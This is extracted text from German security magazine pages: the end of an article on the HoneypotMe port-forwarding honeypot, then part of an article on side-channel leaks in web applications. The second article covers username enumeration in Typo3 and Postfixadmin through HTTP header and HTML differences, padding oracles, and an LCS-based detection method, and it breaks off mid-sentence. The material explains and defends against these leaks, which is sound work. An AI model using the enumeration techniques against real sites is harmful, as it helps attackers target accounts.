Honeypot-Software auszunutzen,<br />

um so auf das Produktivsystem<br />

zuzugreifen.<br />

Malware insgesamt<br />

2003 2004 2005 2006 2007 2008 2009 2010 2011 2012<br />

Abbildung 1: Die Anzahl der Schadprogramme im Internet ist in den letzten<br />

Jahren explodiert. Die Zahlen stammen vom AV-TEST Institute , das täglich über<br />

55 000 bösartige Programme registriert.<br />

Um dies zu vermeiden und gleichzeitig<br />

eine zentrale Auswertung der unerwünschten<br />

Verbindungen zu ermöglichen,<br />

verwendet HoneypotMe eine separate,<br />

dedizierte Analysekomponente.<br />

Unerwünschte Verbindungen leitet HoneypotMe<br />

transparent von den Produktivsystemen<br />

an diese Analysekomponente<br />

weiter, die sie anschließend annimmt<br />

und detailliert auswertet. Um alle Informationen<br />

zu erhalten, die auch direkt am<br />

betroffenen Produktivsystem anfallen,<br />

werden solche Verbindungsaufbauversuche<br />

von HoneypotMe transparent an die<br />

Analysekomponente getunnelt.<br />

Transparente Tunnel<br />

Abbildung 2: Schematische Darstellung der Funktionsweise von HoneypotMe.<br />

hält. Darüber hinaus bleiben<br />

alle in den Verbindungsdaten<br />

enthaltenen Metadaten, insbesondere<br />

die Paket-Header,<br />

erhalten, aus denen sich weitere<br />

Informationen über das<br />

angreifende System ableiten<br />

lassen.<br />

Eine wesentliche Herausforderung<br />

bei der Weiterleitung<br />

einzelner Ports von Produktivsystemen<br />

zu der Analysekomponente<br />

ist die Auswahl<br />

der weiterzuleitenden Ports.<br />

Zwar ist auf einigen Ports<br />

keine reguläre Interaktion zu<br />

erwarten, doch unterscheiden<br />

sich diese Ports von Betriebssystem<br />

zu Betriebssystem und<br />

je nach Einsatzzweck des Hosts. Sie lassen<br />

sich daher nicht verallgemeinern. So<br />

ist es zwar beispielsweise unwahrscheinlich,<br />

dass der Port 1439 des MS-SQL-<br />

Datenbankservers auf Linux-Systemen<br />

für produktive Zwecke eingesetzt wird.<br />

Jede Interaktion mit diesem Port ließe<br />

sich demnach analog zum Konzept klassischer<br />

Honeypots generell als bösartige<br />

Interaktion ansehen. Unter Windows<br />

sähe die Sache aber anders aus. Darüber<br />

hinaus kann die Menge der produktiv<br />

verwendeten Ports über den Beobachtungszeitraum<br />

variieren.<br />

Flexible Portauswahl<br />

Dem kann nur eine flexible Weiterleitung<br />

von Ports in Abhängigkeit von den einzelnen<br />

Hosts Rechnung tragen. Würden<br />

stattdessen etwa beliebige Verbindungsaufbauversuche<br />

auf eine zuvor festgelegte<br />

Menge an Ports pauschal an eine<br />

Analysekomponente weitergeleitet, so<br />

kämen dafür nur Ports infrage, die keines<br />

der Produktivsysteme benutzt. Ports, die<br />

da<strong>gegen</strong> nur von einer Teilmenge aller<br />

Systeme verwendet werden,<br />

blieben außen vor.<br />

HoneypotMe bedient sich<br />

daher einer flexiblen Weiterleitung<br />

von Verbindungsaufbauversuchen<br />

an die Analysekomponente.<br />

HoneypotMe<br />

überprüft dazu für eingehende<br />

Pakete mit gesetztem<br />

SYN-Flag, ob ein entsprechender<br />

Empfangs-Socket an den<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

47


security<br />

HoneypotMe<br />

angefragten Port gebunden ist. Wird ein<br />

Versuch registriert, einen nicht empfangsbereiten<br />

Port zu kontaktieren, so wird das<br />

SYN-Paket automatisch von HoneypotMe<br />

über einen Tunnel an die Analysekomponente<br />

weitergeleitet. Die kann nun eine<br />

TCP-Verbindung aufbauen und ein entsprechendes<br />

Antwort-Paket mit gesetzten<br />

SYN/​ACK-Flags über den Tunnel an den<br />

<strong>Angreifer</strong> zurücksenden.<br />

Die weitere Kommunikation findet logisch<br />

zwischen <strong>Angreifer</strong> und Analysekomponente<br />

statt, sodass das Opfersystem<br />

selbst die Verbindung nicht annehmen<br />

muss. Währendessen werden<br />

automatisch generierte RST-Pakete auf<br />

dem Opfersystem unter Linux mithilfe<br />

von »libipq« dynamisch blockiert. Um zu<br />

verhindern, dass die Analysekomponente<br />

weitere Verbindungen über den Tunnel<br />

in das zu überwachende Netz aufbaut,<br />

verwirft HoneypotMe TCP-SYN-Pakete<br />

die über den Tunnel kommen. Darüber<br />

hinaus wird sichergestellt, dass weiterzuleitende<br />

TCP-Pakete jeweils die korrekte<br />

Absender-IP-Adresse verwenden.<br />

Angriffsszenarios<br />

Der Einsatz von HoneypotMe auf Produktivsystemen<br />

hat darüber hinaus verschiedene<br />

interessante Nebeneffekte. Weil geschlossene<br />

Ports als Honeypot dienen,<br />

kann der <strong>Angreifer</strong> – etwa mithilfe von<br />

»nmap« – nicht unterscheiden, ob es sich<br />

bei den angebotenen Diensten des Opfersystems<br />

tatsächlich um real existierende<br />

oder um simulierte Dienste handelt. Die<br />

Menge der für den <strong>Angreifer</strong> sichtbaren<br />

Dienste setzt sich aus den Diensten auf<br />

dem Opfersystem plus den Diensten der<br />

Analysekomponente zusammen (Abbildung<br />

3, 4). Infolgedessen ähneln sich<br />

Systeme mit HoneypotMe. Während dynamische<br />

Honeypots oft das Ziel verfolgen,<br />

sich möglichst den Produktivsystemen<br />

anzupassen, um eine Unterscheidung<br />

zu erschweren, gleicht HoneypotMe<br />

die Erscheinung von Produktivsystemen<br />

der des Honeypots an.<br />

Darüber hinaus ist es mithilfe von HoneypotMe<br />

möglich, die Sicherheit der<br />

Produktivsysteme durch die Weiterleitung<br />

ungenutzter Ports direkt zu erhöhen.<br />

So ist es denkbar, dass <strong>Angreifer</strong><br />

von realen verwundbaren Diensten des<br />

Opfersystems absehen und stattdessen<br />

Abbildung 3: Sichtbare Ports nach Überprüfung<br />

eines gewöhnlichen Linux-Webservers mit »nmap«.<br />

einen Dienst des Honeypots angreifen.<br />

Selbstverbreitende Schadprogramme wie<br />

Phatbot, Agobot oder Spybot verwenden<br />

beispielsweise Angriffe auf verschiedene<br />

Dienste, um neue Systeme zu infizieren.<br />

Bricht ein Schadprogramm den Angriff<br />

nach dem ersten erfolgreichen Infektionsversuch<br />

auf einen simulierten Dienst<br />

ab, so werden reale verwundbare Dienste<br />

nicht angegriffen. In diesem Fall ließe<br />

sich also eine Infektion des Produktivsystems<br />

durch die Simulation von Diensten<br />

verhindern.<br />

Im Unterschied dazu ist es auch möglich,<br />

dass menschliche <strong>Angreifer</strong> simulierte<br />

Dienste erkennen und sich infolgedessen<br />

auf einen anderen Dienst konzentrieren.<br />

In diesem Fall ist der manuelle Angriff<br />

zwar unter Umständen erfolgreich, der<br />

Angriff auf den simulierten Dienst zuvor<br />

wird aber bemerkt.<br />

Honeypot tarnen<br />

Abbildung 4: Sichtbare Ports eines Linux-<br />

Webservers mit aktivem HoneypotMe nach<br />

Überprüfung durch »nmap« (gekürzt).<br />

Erkennt ein <strong>Angreifer</strong> da<strong>gegen</strong> eine untypische<br />

Kombination verfügbarer Dienste<br />

auf dem anvisierten System, schließt er<br />

unter Umständen auf simulierte Dienste<br />

oder einen Honeypot. Ist es dem <strong>Angreifer</strong><br />

jedoch nicht möglich, simulierte<br />

von realen Diensten zu unterscheiden,<br />

so bricht er den Angriff im besten Fall ab.<br />

Das erhöht wiederum die Sicherheit der<br />

Systeme. Gleichzeitig verringert sich die<br />

Menge an Informationen über den jeweiligen<br />

Angriff, da ausschließlich die Überprüfung<br />

einzelner simulierter Dienste<br />

registriert wird.<br />

Um zu verhindern, dass der <strong>Angreifer</strong><br />

stutzig wird, weil verschiedene Systeme<br />

dieselben Dienste anbieten, lassen sich<br />

simulierte Dienste variieren. Dadurch<br />

steigt die Wahrscheinlichkeit, dass ein<br />

Angriff auf einen simulierten Dienst<br />

durchgeführt wird und so neben der Angriffserkennung<br />

auch weitere Angriffsdetails<br />

registrierbar sind. Im Gegensatz<br />

zu einem dynamischen Honeypot-Ansatz<br />

wird auch in diesem Fall nicht die<br />

Erscheinung des Honeypots an die der<br />

Produktivsysteme angepasst, sondern<br />

umgekehrt die Erscheinung der Produktivsysteme<br />

variiert.<br />

Im Einsatz<br />

Das Fraunhofer-Institut für Kommunikation,<br />

Informationsverarbeitung und Ergonomie<br />

FKIE entwickelt und betreibt<br />

gemeinsam mit dem Institut für Informatik<br />

4 der Universität Bonn verschiedene<br />

Honeypots zur automatischen Erkennung<br />

von Schadprogrammen im Internet. Dabei<br />

lässt sich beobachten, dass häufig<br />

Schadprogramme in unterschiedlichen<br />

Netzen unterschiedlich stark verbreitet<br />

sind. Gleichzeitig registrieren Honeypots<br />

sich verbreitende Schadprogramme innerhalb<br />

ihrer eigenen Netzbereiche oft<br />

mit höherer Wahrscheinlichkeit (Abbildung<br />

5). Der Grund dafür liegt darin,<br />

dass Schadprogramme das Internet häufig<br />

nicht vollkommen zufällig nach verwundbaren<br />

Systemen durchsuchen, sondern<br />

etwa bevorzugt Systeme innerhalb<br />

des eigenen Subnetzes überprüfen.<br />

Um also einen möglichst differenzierten<br />

Überblick über aktuelle Schadprogramme<br />

zu erhalten, ist es notwendig, Honeypots<br />

in unterschiedlichen Netzbereichen zu<br />

betreiben. Zwar verfügen beide Institute<br />

über IP-Adressen in unterschiedlichen<br />

Netzen, die werden jedoch bereits von<br />

Produktivsystemen verwendet, weshalb<br />

sie nicht für den Einsatz in Honeypots<br />

zur Verfügung stehen. Gleichzeitig benutzen<br />

diese Systemen jedoch meist nur<br />

wenige Ports produktiv, was es möglich<br />

48 Ausgabe 04-2012 Admin www.admin-magazin.de


HoneypotMe<br />

security<br />

macht, freie Ports mithilfe von HoneypotMe<br />

an bereits existierende Honeypots<br />

zur Analyse weiterzuleiten.<br />

Um die Sichtbarkeit der existierenden<br />

Honeypots zu vergrößern, wurde HoneypotMe<br />

über einen Zeitraum von einem<br />

Monat auf vier regulären Produktivsystemen<br />

der Universität Bonn eingesetzt, die<br />

jeweils direkt aus dem Internet erreichbar<br />

waren. Die Auswertung der registrierten<br />

Angriffe hat dabei gezeigt, dass<br />

es sich bei allen häufig weitergeleiteten<br />

Ports um Dienste handelt, die Schadprogrammen<br />

typischerweise zur Infektion<br />

neuer Systeme verwenden (Abbildung<br />

6). Insgesamt konnten so 3448 von 25149<br />

Verbindungsanfragen erfolgreich mithilfe<br />

der Honeypots bearbeitet und analysiert<br />

werden. Bei den übrigen Verbindungsaufbauversuchen<br />

handelt es sich entweder<br />

nur um eine Überprüfung der Ports, oder<br />

der angefragte Dienst wurde von den verwendeten<br />

Honeypots nicht unterstützt.<br />

Bei einem erfolgreichen Verbindungsaufbau<br />

ließen sich jeweils detaillierte Informationen<br />

über den Angriffsversuch<br />

sammeln.<br />

Analyse<br />

Die weitere Analyse ergab insgesamt<br />

8855 Angriffe aus dem Netz der Universität<br />

Bonn. Diese hohe Zahl an Angriffen<br />

resultiert jedoch größtenteils daraus,<br />

dass jeder Verbindungsaufbauversuch<br />

auf einen geschlossenen Port als separater<br />

Angriff gewertet wird. Dadurch<br />

verursacht etwa ein einzelner Port-Scan<br />

bereits eine hohe Anzahl registrierter<br />

Angriffe. Tatsächlich konnten Port-Scans<br />

von drei unterschiedlichen IP-Adressen<br />

aus dem Netz der Universität registriert<br />

werden, welche jeweils parallel auf allen<br />

vier überwachten Systemen liefen. Die<br />

Anzahl der Verbindungsaufbauversuche<br />

pro Port-Scan auf ein mit HoneypotMe<br />

überwachtes System betrug dabei zwischen<br />

11 und 1180. Dieses Beispiel zeigt,<br />

dass es mithilfe von HoneypotMe auch<br />

ohne den Einsatz zusätzlicher Ressourcen<br />

möglich ist, Angriffe auf Produktivsysteme<br />

zu registrieren und auszuwerten.<br />

Die Wahrscheinlichkeit, einen<br />

Angriff aus dem Netz der Universität<br />

Bonn zu registrieren, ist so höher als es<br />

alleine mit Sensoren in anderen Netzen<br />

möglich wäre.<br />

Fazit<br />

Mithilfe von HoneypotMe ist es möglich,<br />

die eingeschränkte Sichtbarkeit von<br />

klassischen Honeypots auf eine Vielzahl<br />

an Systemen zu erweitern, sodass sich<br />

auch größere Netze vollständig mithilfe<br />

von Honeypots zu überwachen lassen.<br />

So können detaillierte Informationen<br />

über Angriffe in den zu überwachenden<br />

Netzen gewonnen und entsprechende<br />

Gegenmaßnahmen getroffen werden.<br />

Darüber hinaus erhöht der Einsatz von<br />

HoneypotMe direkt die Sicherheit der zu<br />

überwachenden Systeme, da es für <strong>Angreifer</strong><br />

nicht möglich ist, reale Ports von<br />

solchen der Analysekomponente zu unterscheiden.Damit<br />

lassen sich <strong>Angreifer</strong><br />

durch simulierte verwundbare Dienste<br />

von realen Verwundbarkeiten ablenken.<br />

Im Gegensatz zu Honeypots auf dedizierten<br />

Ressourcen lassen sich mithilfe von<br />

HoneypotMe jedoch nur solche Angriffe<br />

erkennen, die keine real verfügbaren<br />

Dienste zum Ziel haben. Daher könnte<br />

HoneypotMe einzelne Angriffsversuche<br />

übersehen. Besteht ein Netz jedoch aus<br />

heterogenen Systemen mit unterschiedlichen<br />

verfügbaren Diensten, so ist die<br />

Wahrscheinlichkeit hoch, dass sich über<br />

einen längeren Zeitraum Angriffe auf beliebige<br />

Ports registrieren lassen.<br />

Der Vorteil des hier vorgestellten Verfahrens<br />

liegt insbesondere darin, dass<br />

man keine zusätzlichen Ressourcen für<br />

den Einsatz von HoneypotMe benötigt.<br />

Die Installation sowie der Betrieb der<br />

Sensoren brauchen darüber hinaus kein<br />

Hintergrundwissen. Durch den Einsatz<br />

der Sensoren entsteht kein zusätzliches<br />

Sicherheitsrisiko für die Systeme, da Datenpakete<br />

ausschließlich weiter getunnelt<br />

werden und eine Verbindung weder aufbaut<br />

noch analysiert wird. Die einzelnen<br />

Sensoren benötigen aus diesem Grund<br />

keine Aktualisierungen, um neue Angriffe<br />

zu erkennen, da die Analyse die externe<br />

Analysekomponente übernimmt.<br />

Die Analysekomponente selbst muss<br />

nicht in den Netzen laufen, in denen<br />

sich die Sensoren befinden. Denkbar<br />

wäre, sie in einen speziell abgesicherten<br />

Netzbereich auszulagern oder vollständig<br />

von Dritten betreiben zu lassen. Die von<br />

den Sensoren verwendete Analysekomponente<br />

lässt sich darüber hinaus flexibel<br />

austauschen, sodass für den jeweiligen<br />

Einsatzbereich passende Analysekomponenten<br />

verwendbar sind. (jcb) n<br />

Infos<br />

[1] Forschungsbereich Cyber Defense:<br />

http://www.fkie.fraunhofer.de/de/forschungsbereiche/cyber-defense.html<br />

Abbildung 5: Anteil der mit existierenden Sensoren registrierten Angriffe aus<br />

Deutschland, nach verursachendem Autonomen System (AS).<br />

Abbildung 6: Mithilfe von HoneypotMe registrierte Angriffe auf verschiedene<br />

Ports von Produktivsystemen der Universität Bonn.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

49


security<br />

Seitenkanalangriffe<br />

© Yuriy Brykaylo, 123RF.com<br />

Manche Webanwendungen spielen <strong>Angreifer</strong>n unfreiwillig Informationen zu<br />

Seitenkanäle mit<br />

Untiefen<br />

Hin und wieder sind Fehlermeldungen oder Logeinträge geschwätziger, als es auf den ersten Blick scheint, und<br />

plaudern <strong>Angreifer</strong>n wertvolle Informationen aus. Doch mit einfachen Mitteln ist Abhilfe möglich. Sebastian Schinzel<br />

Glaubt man einschlägigen Filmen, dann<br />

brauchen Hacker nur ein paar kryptische<br />

Zeichen in eine Kommandozeile zu<br />

tippen, und schon haben sie innerhalb<br />

von Sekunden vollen Zugriff auf das Opfersystem.<br />

In der Realität sind Angriffe<br />

auf IT-Systeme allerdings meist nicht so<br />

unkompliziert zu bewerkstelligen. Stattdessen<br />

braucht der <strong>Angreifer</strong> mitunter<br />

Tage oder Wochen, um zum Erfolg zu<br />

kommen. In dieser Zeit erkundet er das<br />

System, um den eigentlichen Angriff auf<br />

dessen Eigenheiten zurechtzuschneiden,<br />

um Abwehrmaßnahmen wie Firewalls<br />

und Intrusion-Prevention-Systeme zu<br />

umgehen und um verräterische Logeinträge<br />

zu vermeiden. Solche Angriffe, die<br />

oft in mehreren aufeinander aufbauenden<br />

Schritten ablaufen, nennt man auch Seitenkanalangriffe<br />

(side channel attacks),<br />

wenn sich der <strong>Angreifer</strong> auf das Auskundschaften<br />

solcher nicht offensichtlicher<br />

Informationen beschränkt, die durch<br />

Beobachtung des Zielsystems gewonnen<br />

wurden. Diese nicht offensichtlichen<br />

Informationen können etwa Laufzeiten<br />

sein, der Prozessor-Energieverbrauch<br />

oder die elektromagnetischen Ausstrahlung,<br />

aber auch Fehlermeldungen.<br />

Beispiele für solche auf Software bezogenen<br />

Informationen sind weiter Hersteller,<br />

Version und Patchlevel des verwendeten<br />

Betriebssystems, der Datenbank, von<br />

Netzwerkkomponenten oder aktiven<br />

Anwendungen. Aber auch Dateipfade<br />

zu vertraulichen Daten oder Konfigurationsdateien<br />

können das entscheidende<br />

Puzzleteil sein, das dem <strong>Angreifer</strong> Zugriff<br />

auf vertrauliche Daten ermöglicht.<br />

Verschwiegenheit ist besser<br />

Natürlich hängt die Sicherheit von Verschlüsselung<br />

und kryptographischen<br />

Signaturen zuallererst von der Geheimhaltung<br />

des Schlüssels ab (Gesetz von<br />

Kerckhoffs) – aber warum sollte man<br />

dem <strong>Angreifer</strong> zum Beispiel aktiv mitteilen,<br />

welche kryptografischen Verschlüsselungsalgorithmen<br />

verwendet werden?<br />

Ohne diese Information müsste der <strong>Angreifer</strong><br />

möglicherweise viel wertvolle Zeit<br />

darauf verwenden, das herauszufinden.<br />

„Security by Obscurity“ ist bekann-<br />

52 Ausgabe 04-2012 Admin www.admin-magazin.de


Seitenkanalangriffe<br />

security<br />

Abbildung 1: Die Wikipedia verrät dem Benutzer unnötigerweise, ob sie einen<br />

bestimmten Benutzer kennt oder nicht. Das ermöglicht beispielsweise gezieltere<br />

Brute-Force-Angriffe.<br />

termaßen dann schlecht, wenn die Sicherheit<br />

eines Systems maßgeblich davon<br />

abhängt. Ein System wird jedoch<br />

im Umkehrschluss nicht sicherer, weil<br />

man alle seine Details offenlegt, sondern<br />

man erleichtert dem <strong>Angreifer</strong> damit die<br />

Arbeit.<br />

Ärgerlicherweise sind viele Systeme jedoch<br />

per Default sehr auskunftsfreudig<br />

und teilen <strong>Angreifer</strong>n von sich aus Hersteller,<br />

Version oder Patchlevel mit. So<br />

offenbart etwa der Apache-Webserver<br />

mit jeder HTTP-Antwort nicht nur seine<br />

eigene Identität, sondern gibt auch detaillierte<br />

Versionsinformationen für die geladenen<br />

Plugins weiter, wie die folgenden<br />

Zeilen beweisen:<br />

Apache/2.2.16 (Debian) DAV/2 SVN/1.6.12 U<br />

mod_fcgid/2.3.6 Phusion_Passenger/3.0.11U<br />

mod_ssl/2.2.16 OpenSSL/0.9.8o <strong>Server</strong> at U<br />

www.domain.tld Port 80<br />

Verräterische<br />

Fehlermeldungen<br />

Eine weitere Informationsquelle sind<br />

technische Fehlermeldungen des Web-<br />

<strong>Server</strong>s wie beispielsweise Stack-Traces.<br />

Sie weisen Benutzer nicht nur auf<br />

Fehlerzustände hin, sondern geben<br />

vertrauliche Information an <strong>Angreifer</strong><br />

weiter, die über Hersteller und Version<br />

verwendeter Technologien hinausgehen.<br />

Zu diesen Informationen gehören beispielsweise<br />

die Dateipfade, die eine Anwendung<br />

verwendet.<br />

Warning: include(): Failed opening U<br />

'file.php' for inclusion (include_path=U<br />

'.:') in /home/www/domain.tld/http/index.U<br />

php on line 42<br />

Das Beispiel zeigt<br />

eine solche Fehlermeldung,<br />

die in<br />

einer PHP-Anwendung<br />

aufgetreten<br />

ist. Der <strong>Angreifer</strong><br />

lernt hier nicht<br />

nur, dass die Anwendung<br />

die Datei<br />

namens „file.php“<br />

nicht gefunden<br />

hat, sondern auch<br />

den lokalen Pfad<br />

im <strong>Server</strong>-Dateisystem,<br />

unter dem<br />

die Web-Anwendung<br />

abgelegt wurde. In diesem Falle<br />

kann der <strong>Angreifer</strong> möglicherweise sogar<br />

auf die Dateipfade anderer Web-Seiten<br />

schließen, die ebenfalls auf diesem <strong>Server</strong><br />

gehostet sind, da der Domain-Name<br />

ein Teil des Pfades ist. Es liegt hier nahe,<br />

dass die Domain example.com unter dem<br />

Pfad »/home/www/example.com/http/«<br />

zu finden ist.<br />

Doch selbst wenn Applikationen nicht<br />

derart redselig sind, offenbaren sie oft<br />

mehr über sich, als auf den ersten Blick<br />

offenbar wird. Dieser Beitrag behandelt<br />

unbewusste und verdeckte Informationslecks,<br />

die wichtige Informationen an den<br />

<strong>Angreifer</strong> verraten.<br />

Möglichst generisch<br />

Nehmen Sie beispielsweise die Login-<br />

Maske einer Web-Seite, die aus einem<br />

Benutzernamensfeld und einem Passwortfeld<br />

besteht. Gibt ein <strong>Angreifer</strong> eine<br />

beliebige Benutzername/​Passwort-Kombination<br />

an und antwortet der <strong>Server</strong> mit<br />

Tabelle 1: Typo3-Benutzer<br />

der Fehlermeldung »Ungültiger Benutzername«,<br />

so lernt der <strong>Angreifer</strong>, dass dieser<br />

Benutzername nicht existiert. Abbildung<br />

1 zeigt, dass beispielsweise die Wikipedia<br />

solche Informationen frei kommuniziert.<br />

Diese Information ist interessant<br />

für den <strong>Angreifer</strong>, um etwa einen gezielten<br />

Brute-Force-Angriff auf existierende<br />

Benutzernamen durchzuführen. Daher<br />

sollten Web-Seiten möglichst mit einer<br />

generischen Fehlermeldung antworten,<br />

die Benutzer zwar auf den Fehler hinweist,<br />

jedoch keine vertraulichen Informationen<br />

verrät.<br />

In Extremfällen kann alleine die Tatsache,<br />

dass ein <strong>Angreifer</strong> Fehlerzustände erkennen<br />

kann, zu fatalen Sicherheitslücken<br />

führen. So haben Jager und Somorovsky<br />

vor Kurzem einen Angriff auf den Verschlüsselungsstandard<br />

„XML Encryption“<br />

vorgestellt, durch den ein <strong>Angreifer</strong><br />

Chiffretexte entschlüsseln kann [1]. Der<br />

<strong>Angreifer</strong> muss dafür einen Chiffretext<br />

abhören können, verändern können und<br />

an den Zielserver senden können. Alleine<br />

die Unterscheidung, ob der <strong>Server</strong> einen<br />

Entschlüsselungsfehler meldet oder nicht,<br />

reicht dem <strong>Angreifer</strong>, um die einzelnen<br />

Bytes des Chiffretexts zu entschlüsseln.<br />

Bei dem beschriebenen Angriff benötigt<br />

der <strong>Angreifer</strong> nur rund 14 Anfragen an<br />

den <strong>Server</strong>, um ein Byte des Chiffretexts<br />

zu entschlüsseln.<br />

Padding Oracle<br />

Der zugrunde liegende Angriff basiert<br />

auf sogenannten Padding Oracles, die bereits<br />

2002 von Serge Vaudenay vorgestellt<br />

wurden und die kürzlich auch von Juliano<br />

Rizzo und Thai Duong [3] genutzt<br />

Non-existing user name<br />

Existing user name<br />

HTTP/​1.1 200 OK<br />

HTTP/​1.1 200 OK<br />

Date: Mon, 25 Jan 2010 11:47:55 GMT<br />

Date: Mon, 25 Jan 2010 11:47:55 GMT<br />

<strong>Server</strong>: Apache/​2.2.9 (Debian) PHP/​<br />

5.2.6-1+lenny4 with Suhosin-Patch<br />

<strong>Server</strong>: Apache/​2.2.9 (Debian) PHP/​<br />

5.2.6-1+lenny4 with Suhosin-Patch<br />

X-Powered-By: PHP/​5.2.6-1+lenny4<br />

X-Powered-By: PHP/​5.2.6-1+lenny4<br />

Expires: Thu, 19 Nov 1981 08:52:00 GMT Expires:0<br />

Last-Modified: Mon, 25 Jan 2010 11:47:55 GMT Cache-Control: no-cache, must-revalidate<br />

Cache-Control: no-store, no-cache,<br />

Pragma: no-cache<br />

must-revalidate, post-check=0, pre-check=0<br />

Pragma: no-cache<br />

Last-Modified: Mon, 25 Jan 2010 11:47:45 GMT<br />

Vary: Accept-Encoding<br />

Vary: Accept-Encoding<br />

Content-Type: text/​html;charset=iso-8859-1 Content-Type: text/​html;charset=iso-8859-1<br />

Content-Length: 5472 Content-Length: 5472<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

53


security<br />

Seitenkanalangriffe<br />

Abbildung 2: Gültige und ungültige Adressen werden verschieden behandelt, die grau hinterlegten Bereiche sind davon abhängig.<br />

wurden, um Captchas und View-States<br />

von Web-Entwicklungs-Frameworks zu<br />

brechen. Die von Rizzo und Duong beschriebenen<br />

Angriffe nutzten dabei aus,<br />

dass die anfälligen Anwendungen vertrauliche<br />

Informationen verschlüsselten<br />

und an den Browser weiterleiteten. Die<br />

Entwickler der anfälligen Anwendungen<br />

hatten sich darauf verlassen, dass der<br />

<strong>Angreifer</strong> dank der Verschlüsselung die<br />

Daten nicht lesen kann.<br />

So wurde vom Captcha-Provider nicht<br />

nur das verschleierte Captcha, sondern<br />

auch seine verschlüsselte Lösung an den<br />

Benutzer gesendet. Nach der Eingabe<br />

des Benutzers sendet dessen Browser<br />

die vom Benutzer gefundene und die<br />

zuvor verschlüsselt erhaltene Lösung<br />

an den Provider zurück. Das hat den<br />

Vorteil, dass der Captcha-Provider die<br />

Benutzer-Session nicht serverseitig verwalten<br />

muss. Rizzo und Duong konnten<br />

die Lösung des Captchas über ein<br />

Padding Oracle entschlüsseln und somit<br />

das Captcha brechen. Das zeigt, wie ein<br />

<strong>Angreifer</strong> manchmal selbst komplizierte<br />

kryptografische Konzepte überwinden<br />

kann, indem er nur die Fehlermeldungen<br />

eines Systems auswertet.<br />

Seitenkanäle im Web<br />

Zuweilen bilden Fehlermeldungen, die<br />

der <strong>Angreifer</strong> direkt lesen kann, den Seitenkanal.<br />

Es ist jedoch auch möglich,<br />

dass eine Anwendung Informationen<br />

durch weniger offensichtliche Indizien<br />

verrät. Ein Beispiel wurde in der Version<br />

4.5.4 des Content-Management-Systems<br />

Typo3 ausgebessert: <strong>Angreifer</strong> konnten<br />

an der HTTP-Header-Reihenfolge des<br />

Typo3-Backends erkennen, ob ein gegebener<br />

Benutzername ein gültiger administrativer<br />

Benutzer war (Tabelle 1).<br />

Der Fehler entstand, weil Typo3 die<br />

Überprüfung von Benutzername und<br />

Passwort trennt. Zuerst wird der Benutzername<br />

überprüft. Ist er gültig, werden<br />

einige Konfigurationswerte des Benutzers<br />

geladen und über die PHP-Funktion »session_start()«<br />

eine Session gestartet. Dieser<br />

Aufruf wirkt sich auch auf die Cache-<br />

Einstellungen aus, die der <strong>Server</strong> über die<br />

HTTP-Header preisgibt. Somit werden die<br />

Cache-Direktiven im HTTP-Header genau<br />

dann verändert ausgegeben, wenn der<br />

gewählte Benutzername zu einem gültigen<br />

administrativen Benutzer gehört.<br />

Interessanterweise findet man diese Unterschiede<br />

nur, wenn man gezielt danach<br />

sucht, denn einen visuellen Unterschied,<br />

den Benutzer oder Programmierer im<br />

Browser sehen können, gibt es nicht.<br />

Verräterisches Postfix<br />

Eine ähnliche Schwachstelle wurde mit<br />

Version 2.3.2 von Postfixadmin, einer<br />

Management-Web-Anwendung für den E-<br />

Mail-<strong>Server</strong> Postfix, geschlossen. In vorigen<br />

Versionen konnten <strong>Angreifer</strong> herausfinden,<br />

ob eine E-Mail-Adresse zu einem<br />

gültigen administrativen Benutzer gehörte<br />

oder nicht. Dazu musste der <strong>Angreifer</strong><br />

nur die zu prüfende E-Mail-Adresse als<br />

Benutzername in die Login-Maske von<br />

Postfixadmin eingeben und bestätigen.<br />

In der Folge wurde eine Fehlermeldung<br />

ausgegeben und der Benutzer aufgefordert,<br />

die E-Mail-Adresse oder das Passwort<br />

zu korrigieren. Es gab jedoch den<br />

subtilen Unterschied, dass Postfixadmin<br />

die vorher eingegebene E-Mail-Adresse<br />

nur dann wieder in das Benutzernamensfeld<br />

eintrug, wenn sie korrekt war und<br />

zu einem Administratorenkonto gehörte.<br />

Abbildung 2 zeigt den betroffenen Ausschnitt<br />

aus dem<br />

HTML-Quellcode<br />

der Login-Maske<br />

Step 1:<br />

von Postfixadmin.<br />

Der grau hinterlegte<br />

Teil wird in Step 2:<br />

Abhängigkeit ob<br />

eine gültige oder<br />

Step 3:<br />

ungültige E-Mail-<br />

Adresse übergeben<br />

wurde, ein- oder<br />

ausgeblendet.<br />

Generell sind solche<br />

Informationslecks schwierig aufzufinden,<br />

da viele gängige Web-Seiten Teile<br />

der HTTP-Header und der HTML-Inhalte<br />

dynamisch generieren. Es reicht somit<br />

nicht, mehrere Web-<strong>Server</strong>-Antworten<br />

zu vergleichen, sondern man muss gezielt<br />

solche Unterschiede finden, die mit<br />

vertraulichen Informationen zusammenhängen.<br />

Schinzel und Freiling [2] haben<br />

2011 eine Methode vorgestellt, um solche<br />

dynamischen Inhalte zu finden, die von<br />

vertraulichen Informationen abhängen.<br />

Den Kern der Methode zeigt Abbildung<br />

3. Er wird im Folgenden durch das bereits<br />

genannte Login-Masken-Beispiel<br />

verdeutlicht.<br />

Lücken finden<br />

Der <strong>Angreifer</strong> führt im ersten Schritt n<br />

Login-Anfragen mit einem existierenden<br />

Benutzer durch und sammelt die Antworten<br />

(A 1 , A 2 , … , A n ). Er führt weiterhin<br />

n Login-Anfragen mit einem nicht-existierenden<br />

Benutzer durch und sammelt<br />

die Anfragen (B 1 , B 2 , … B n ). Im zweiten<br />

Schritt bildet er die gemeinsame Longest<br />

Common Subsequence (LCS) jeweils<br />

von A und B, wodurch alle dynamischen<br />

Teile, die nicht von der Existenz des Benutzernamens<br />

abhängen, herausgefiltert<br />

werden. X A und X B enthalten dann als<br />

Resultat den statischen Kern der Antworten.<br />

Im dritten Schritt vergleicht der<br />

<strong>Angreifer</strong> X A und X B. Werden in diesem<br />

Schritt noch Unterschiede gefunden, so<br />

hängen diese Unterschiede davon ab, ob<br />

A1, A2, ..., An<br />

LCS<br />

s=0 s=1<br />

X A<br />

!<br />

E<br />

B 1, B2, ..., Bn<br />

LCS<br />

X B<br />

Abbildung 3: Durch Ausfiltern der dynamischen Anteile ohne Bezug zum Benutzernamen<br />

werden Unterschiede sichtbar, die von der Existenz des Namens abhängen.<br />

54 Ausgabe 04-2012 Admin www.admin-magazin.de


Seitenkanalangriffe<br />

security<br />

durch die Analyse der Fehlermeldungen<br />

erhält. Zusätzlich sollten Administratoren<br />

